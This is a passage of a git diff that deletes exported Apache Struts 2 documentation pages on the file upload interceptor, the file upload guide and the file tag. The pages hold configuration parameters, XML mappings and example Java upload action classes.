-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14299">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14299">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14299">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>  See <a shape="rect" href="file-upload.html">this page</a> for more examples and advanced configuration</p></div></div>
-
-<p></p><p>
-Interceptor that is based off of MultiPartRequestWrapper, which is automatically applied for any request that
-includes a file. It adds the following parameters, where [File Name] is the name given to the file uploaded by the
-HTML form:
-</p>
-<ul></ul><p></p><ul><li>[File Name] : File - the actual File</li></ul><p></p><ul><li>[File Name]ContentType : String - the content type of the file</li></ul><p></p><ul><li>[File Name]FileName : String - the actual name of the file uploaded (not the HTML name)</li></ul><p></p>
-
-<p></p><p>You can get access to these files by merely providing setters in your action that correspond to any of the three
-patterns above, such as setDocument(File document), setDocumentContentType(String contentType), etc.
-<br clear="none">See the example code section.
-</p>
-
-<p></p><p> This interceptor will add several field errors, assuming that the action implements ValidationAware.
-These error messages are based on several i18n values stored in struts-messages.properties, a default i18n file
-processed for all i18n requests. You can override the text of these messages by providing text for the following
-keys:
-</p>
-
-<p></p><ul></ul><p></p><ul><li>struts.messages.error.uploading - a general error that occurs when the file could not be uploaded</li></ul><p></p><ul><li>struts.messages.error.file.too.large - occurs when the uploaded file is too large</li></ul><p></p><ul><li>struts.messages.error.content.type.not.allowed - occurs when the uploaded file does not match the expected
-content types specified</li></ul><p></p><ul><li>struts.messages.error.file.extension.not.allowed - occurs when the uploaded file does not match the expected
-file extensions specified</li></ul><p></p>
-
-
-<h2 id="FileUploadInterceptor-Parameters">Parameters</h2>
-
-
-<p></p><ul></ul><p></p><ul><li>maximumSize (optional) - the maximum size (in bytes) that the interceptor will allow a file reference to be set
-on the action. Note, this is <b>not</b> related to the various properties found in struts.properties.
-Default to approximately 2MB.</li></ul><p></p><ul><li>allowedTypes (optional) - a comma separated list of content types (ie: text/html) that the interceptor will allow
-a file reference to be set on the action. If none is specified allow all types to be uploaded.</li></ul><p></p><ul><li>allowedExtensions (optional) - a comma separated list of file extensions (ie: .html) that the interceptor will allow
-a file reference to be set on the action. If none is specified allow all extensions to be uploaded.</li></ul>
-
-
-
-<h2 id="FileUploadInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2>
-
-<p></p><p>
-You can extend this interceptor and override the acceptFile method to provide more control over which files
-are supported and which are not.
-</p>
-
-<h2 id="FileUploadInterceptor-Examples">Examples</h2>
-<p><strong>Example action mapping:</strong></p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;action name=&quot;doUpload&quot; class=&quot;com.example.UploadAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;fileUpload&quot;/&gt;
-    &lt;interceptor-ref name=&quot;basicStack&quot;/&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.jsp&lt;/result&gt;
-&lt;/action&gt;
-]]></script>
-</div></div>
-
-<p>Notice the interceptor configuration in the preceding example. </p>
-
-<p><strong>Example JSP form tags:</strong></p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:form action=&quot;doUpload&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
-    &lt;s:file name=&quot;upload&quot; label=&quot;File&quot;/&gt;
-    &lt;s:submit/&gt;
-&lt;/s:form&gt;
-]]></script>
-</div></div>
-<p></p><p>
-You must set the encoding to <code>multipart/form-data</code> in the form where the user selects the file to upload.
-</p>
-<p><strong>Example Action class:</strong></p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-   package com.example;
-
-   import java.io.File;
-   import com.opensymphony.xwork2.ActionSupport;
-
-   public UploadAction extends ActionSupport {
-      private File file;
-      private String contentType;
-      private String filename;
-
-      public void setUpload(File file) {
-         this.file = file;
-      }
-
-      public void setUploadContentType(String contentType) {
-         this.contentType = contentType;
-      }
-
-      public void setUploadFileName(String filename) {
-         this.filename = filename;
-      }
-
-      public String execute() {
-         //...
-         return SUCCESS;
-      }
- }
-]]></script>
-</div></div>
-
-<p><strong>Setting parameters example:</strong></p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">
-&lt;interceptor-ref name="fileUpload"&gt;
-  &lt;param name="allowedTypes"&gt;
-     image/png,image/gif,image/jpeg
-  &lt;/param&gt;
-&lt;/interceptor-ref&gt;
-</pre>
-</div></div>
-<p>This part is optional and would be done in place of the <code>&lt;interceptor-ref name="fileUpload"/&gt;</code> line in the action mapping example above.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/file-upload.html b/content/docs/file-upload.html
deleted file mode 100644
index c67eefc..0000000
--- a/content/docs/file-upload.html
+++ /dev/null
@@ -1,327 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>File Upload</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="file-upload.html">File Upload</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">File Upload</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=86602">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=86602">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=86602">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=86602">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=86602">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=86602">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The Struts 2 framework provides built-in support for processing file uploads that conform to <a shape="rect" class="external-link" href="http://www.ietf.org/rfc/rfc1867.txt" rel="nofollow">RFC 1867</a>, "Form-based File Upload in HTML". When correctly configured the framework will pass uploaded file(s) into your Action class. Support for individual and multiple file uploads are provided. When a file is uploaded it will typically be stored in a t [...]
-    &lt;groupId&gt;commons-fileupload&lt;/groupId&gt;
-    &lt;artifactId&gt;commons-fileupload&lt;/artifactId&gt;
-    &lt;version&gt;1.1.1&lt;/version&gt;
-&lt;/dependency&gt;
-&lt;dependency&gt;
-    &lt;groupId&gt;commons-io&lt;/groupId&gt;
-    &lt;artifactId&gt;commons-io&lt;/artifactId&gt;
-    &lt;version&gt;1.0&lt;/version&gt;
-&lt;/dependency&gt;
-</plain-text-body><parameter ac:name="lang">xml</parameter><parameter ac:name="title">Struts 2.1.x File Upload Dependencies</parameter><plain-text-body>&lt;dependency&gt;
-    &lt;groupId&gt;commons-fileupload&lt;/groupId&gt;
-    &lt;artifactId&gt;commons-fileupload&lt;/artifactId&gt;
-    &lt;version&gt;1.2.1&lt;/version&gt;
-&lt;/dependency&gt;
-&lt;dependency&gt;
-    &lt;groupId&gt;commons-io&lt;/groupId&gt;
-    &lt;artifactId&gt;commons-io&lt;/artifactId&gt;
-    &lt;version&gt;1.3.2&lt;/version&gt;
-&lt;/dependency&gt;
-</plain-text-body><h2 id="FileUpload-BasicUsage">Basic Usage</h2><p>The <code>org.apache.struts2.interceptor.FileUploadInterceptor</code> class is included as part of the <code>defaultStack</code>. As long as the required libraries are added to your project you will be able to take advantage of of the Struts 2 fileUpload capability. Configure an Action mapping for your Action class as you typically would.</p><p><strong>Example action mapping:</strong></p><parameter ac:name="lang">xml</pa [...]
-    &lt;result name="success"&gt;good_result.jsp&lt;/result&gt;
-&lt;/action&gt;
-</plain-text-body><p>A form must be create with a form field of type file, <code>&lt;INPUT type="file" name="upload"&gt;</code>. The form used to upload the file must have its encoding type set to multipart/form-data, <code>&lt;FORM action="doUpload" enctype="multipart/form-data" method="post"&gt;</code>. The standard procedure for adding these elements is by using the Struts 2 tag libraries as shown in the following example:</p><p><strong>Example JSP form tags:</strong><plain-text-body> [...]
-
-   import java.io.File;
-   import com.opensymphony.xwork2.ActionSupport;
-
-   public class UploadAction extends ActionSupport {
-      private File file;
-      private String contentType;
-      private String filename;
-
-      public void setUpload(File file) {
-         this.file = file;
-      }
-
-      public void setUploadContentType(String contentType) {
-         this.contentType = contentType;
-      }
-
-      public void setUploadFileName(String filename) {
-         this.filename = filename;
-      }
-
-      public String execute() {
-         //...
-         return SUCCESS;
-      }
- }
-</plain-text-body><p>The purpose of each one of these methods is described in the table below. Notice that if you have multiple file form elements with different names you would be required to have another corresponding set of these methods for each file uploaded.</p><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Method Signature</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Description</p></th></tr><tr> [...]
-  &lt;s:file label="File (1)" name="upload" /&gt;
-  &lt;s:file label="File (2)" name="upload" /&gt;
-  &lt;s:file label="FIle (3)" name="upload" /&gt;
-  &lt;s:submit cssClass="btn btn-primary"/&gt;
-&lt;/s:form&gt;</plain-text-body><p><strong>MultipleFileUploadUsingArrayAction.java</strong></p><p>&#160;</p><p><strong><br clear="none"></strong></p><parameter ac:name="">java</parameter><plain-text-body>public class MultipleFileUploadUsingArrayAction extends ActionSupport {
-	private File[] uploads;
-	private String[] uploadFileNames;
-	private String[] uploadContentTypes;
-
-	public String upload() throws Exception {
-		System.out.println("\n\n upload2");
-		System.out.println("files:");
-		for (File u : uploads) {
-			System.out.println("*** " + u + "\t" + u.length());
-		}
-		System.out.println("filenames:");
-		for (String n : uploadFileNames) {
-			System.out.println("*** " + n);
-		}
-		System.out.println("content types:");
-		for (String c : uploadContentTypes) {
-			System.out.println("*** " + c);
-		}
-		System.out.println("\n\n");
-		return SUCCESS;
-	}
-	public File[] getUpload() {
-		return this.uploads;
-	}
-	public void setUpload(File[] upload) {
-		this.uploads = upload;
-	}
-	public String[] getUploadFileName() {
-		return this.uploadFileNames;
-	}
-	public void setUploadFileName(String[] uploadFileName) {
-		this.uploadFileNames = uploadFileName;
-	}
-	public String[] getUploadContentType() {
-		return this.uploadContentTypes;
-	}
-	public void setUploadContentType(String[] uploadContentType) {
-		this.uploadContentTypes = uploadContentType;
-	}
-}</plain-text-body><p>&#160;</p><h3 id="FileUpload-UploadingMultipleFilesusingLists">Uploading Multiple Files using Lists</h3><p><strong>multipleUploadUsingList.jsp</strong> Notice all file input types have the same name.</p><parameter ac:name="">xml</parameter><plain-text-body>&lt;s:form action="doMultipleUploadUsingList" method="POST" enctype="multipart/form-data"&gt;
-  &lt;s:file label="File (1)" name="upload" /&gt;
-  &lt;s:file label="File (2)" name="upload" /&gt;
-  &lt;s:file label="FIle (3)" name="upload" /&gt;
-  &lt;s:submit cssClass="btn btn-primary"/&gt;
-&lt;/s:form&gt;</plain-text-body><p><strong>MultipleFileUploadUsingListAction.java</strong></p><parameter ac:name="">java</parameter><plain-text-body>public class MultipleFileUploadUsingListAction extends ActionSupport {
-	private List&lt;File&gt; uploads = new ArrayList&lt;File&gt;();
-	private List&lt;String&gt; uploadFileNames = new ArrayList&lt;String&gt;();
-	private List&lt;String&gt; uploadContentTypes = new ArrayList&lt;String&gt;();
-
-	public List&lt;File&gt; getUpload() {
-		return this.uploads;
-	}
-	public void setUpload(List&lt;File&gt; uploads) {
-		this.uploads = uploads;
-	}
-	public List&lt;String&gt; getUploadFileName() {
-		return this.uploadFileNames;
-	}
-	public void setUploadFileName(List&lt;String&gt; uploadFileNames) {
-		this.uploadFileNames = uploadFileNames;
-	}
-	public List&lt;String&gt; getUploadContentType() {
-		return this.uploadContentTypes;
-	}
-	public void setUploadContentType(List&lt;String&gt; contentTypes) {
-		this.uploadContentTypes = contentTypes;
-	}
-	public String upload() throws Exception {
-		System.out.println("\n\n upload1");
-		System.out.println("files:");
-		for (File u : uploads) {
-			System.out.println("*** " + u + "\t" + u.length());
-		}
-		System.out.println("filenames:");
-		for (String n : uploadFileNames) {
-			System.out.println("*** " + n);
-		}
-		System.out.println("content types:");
-		for (String c : uploadContentTypes) {
-			System.out.println("*** " + c);
-		}
-		System.out.println("\n\n");
-		return SUCCESS;
-	}
-}</plain-text-body><h2 id="FileUpload-AdvancedConfiguration">Advanced Configuration</h2><p>The Struts 2 <code>default.properties</code> file defines several settings that affect the behavior of file uploading. You may find in necessary to change these values. The names and default values are:</p><parameter ac:name="lang">none</parameter><plain-text-body>struts.multipart.parser=jakarta
-struts.multipart.saveDir=
-struts.multipart.maxSize=2097152
-</plain-text-body><rich-text-body><p>Please remember that the <strong>struts.multipart.maxSize</strong> is the size limit of the whole request, which means when you uploading multiple files, the sum of their size must be below the <strong>struts.multipart.maxSize</strong>!</p></rich-text-body><p>In order to change theses settings you define a constant in your applications <code>struts.xml</code> file like so:</p><parameter ac:name="lang">xml</parameter><plain-text-body>&lt;?xml version=" [...]
-&lt;!DOCTYPE struts PUBLIC 
-	"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" 
-	"http://struts.apache.org/dtds/struts-2.0.dtd"&gt;
-&lt;struts&gt;
-    &lt;constant name="struts.multipart.maxSize" value="1000000" /&gt;
-    ...
-&lt;/struts&gt;
-</plain-text-body><p>Additionally the <code>fileUpload</code> interceptor has settings that can be put in place for individual action mappings by customizing your interceptor stack.</p><parameter ac:name="lang">xml</parameter><plain-text-body>&lt;action name="doUpload" class="com.example.UploadAction"&gt;
-    &lt;interceptor-ref name="basicStack"/&gt;
-    &lt;interceptor-ref name="fileUpload"&gt;
-        &lt;param name="allowedTypes"&gt;text/plain&lt;/param&gt;
-    &lt;/interceptor-ref&gt; 
-    &lt;interceptor-ref name="validation"/&gt;
-    &lt;interceptor-ref name="workflow"/&gt;
-
-    &lt;result name="success"&gt;good_result.jsp&lt;/result&gt;
-&lt;/action&gt;
-</plain-text-body><h3 id="FileUpload-FileSizeLimits">File Size Limits</h3><p>There are two separate file size limits. First is <code>struts.multipart.maxSize</code> which comes from the Struts 2 <code>default.properties</code> file. This setting exists for security reasons to prohibit a malicious user from uploading extremely large files to file up your servers disk space. This setting defaults to approximately 2 megabytes and should be adjusted to the maximum size file (2 gigs max) that [...]
-&lt;!DOCTYPE struts PUBLIC 
-	"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" 
-	"http://struts.apache.org/dtds/struts-2.0.dtd"&gt;
-&lt;struts&gt;
-    &lt;constant name="struts.multipart.maxSize" value="1000000" /&gt;
-    
-    &lt;action name="doUpload" class="com.example.UploadAction"&gt;
-        &lt;interceptor-ref name="basicStack"/&gt;
-        &lt;interceptor-ref name="fileUpload"&gt;
-            &lt;param name="maximumSize"&gt;500000&lt;/param&gt;
-        &lt;/interceptor-ref&gt; 
-        &lt;interceptor-ref name="validation"/&gt;
-        &lt;interceptor-ref name="workflow"/&gt;
-
-        &lt;result name="success"&gt;good_result.jsp&lt;/result&gt;
-    &lt;/action&gt;
-&lt;/struts&gt;
-</plain-text-body><h3 id="FileUpload-FileTypes">File Types</h3><p>There are two ways to limit the uploaded file type, declaratively and programmatically. To declaratively limit the file type a comma separated list of allowedTypes can be specified as a fileUpload interceptor param as shown in the following example:</p><parameter ac:name="lang">xml</parameter><plain-text-body>&lt;action name="doUpload" class="com.example.UploadAction"&gt;
-    &lt;interceptor-ref name="basicStack"/&gt;
-    &lt;interceptor-ref name="fileUpload"&gt;
-        &lt;param name="allowedTypes"&gt;image/jpeg,image/gif&lt;/param&gt;
-    &lt;/interceptor-ref&gt; 
-    &lt;interceptor-ref name="validation"/&gt;
-    &lt;interceptor-ref name="workflow"/&gt;
-
-    &lt;result name="success"&gt;good_result.jsp&lt;/result&gt;
-&lt;/action&gt;
-</plain-text-body><p>When the uploaded file type does not match one of the MIME types specified a field error will be created as described in the next section entitled Error Messages. Programmatically limiting the file type means using the information passed in to your Action class via the <code>setXContentType(String contentType)</code> method. The benefit to this type of approach would be that it's more flexible and no interceptor configuration would be needed if file sizes are keep un [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/file.html b/content/docs/file.html
deleted file mode 100644
index 0ceaddd..0000000
--- a/content/docs/file.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>file</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="file.html">file</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">file</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14283">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14283">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14283">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14283">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14283">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14283">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="file-Description">Description</h2>
-
-<p>Renders an HTML file input element.</p>
-
-<h2 id="file-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> true</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rowsp [...]
-
-<h2 id="file-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:file name=&quot;anUploadFile&quot; accept=&quot;text/*&quot; /&gt;
-&lt;s:file name=&quot;anohterUploadFIle&quot; accept=&quot;text/html,text/plain&quot; /&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/flying-solo.html b/content/docs/flying-solo.html
deleted file mode 100644
index 54058b2..0000000
--- a/content/docs/flying-solo.html
+++ /dev/null
@@ -1,146 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
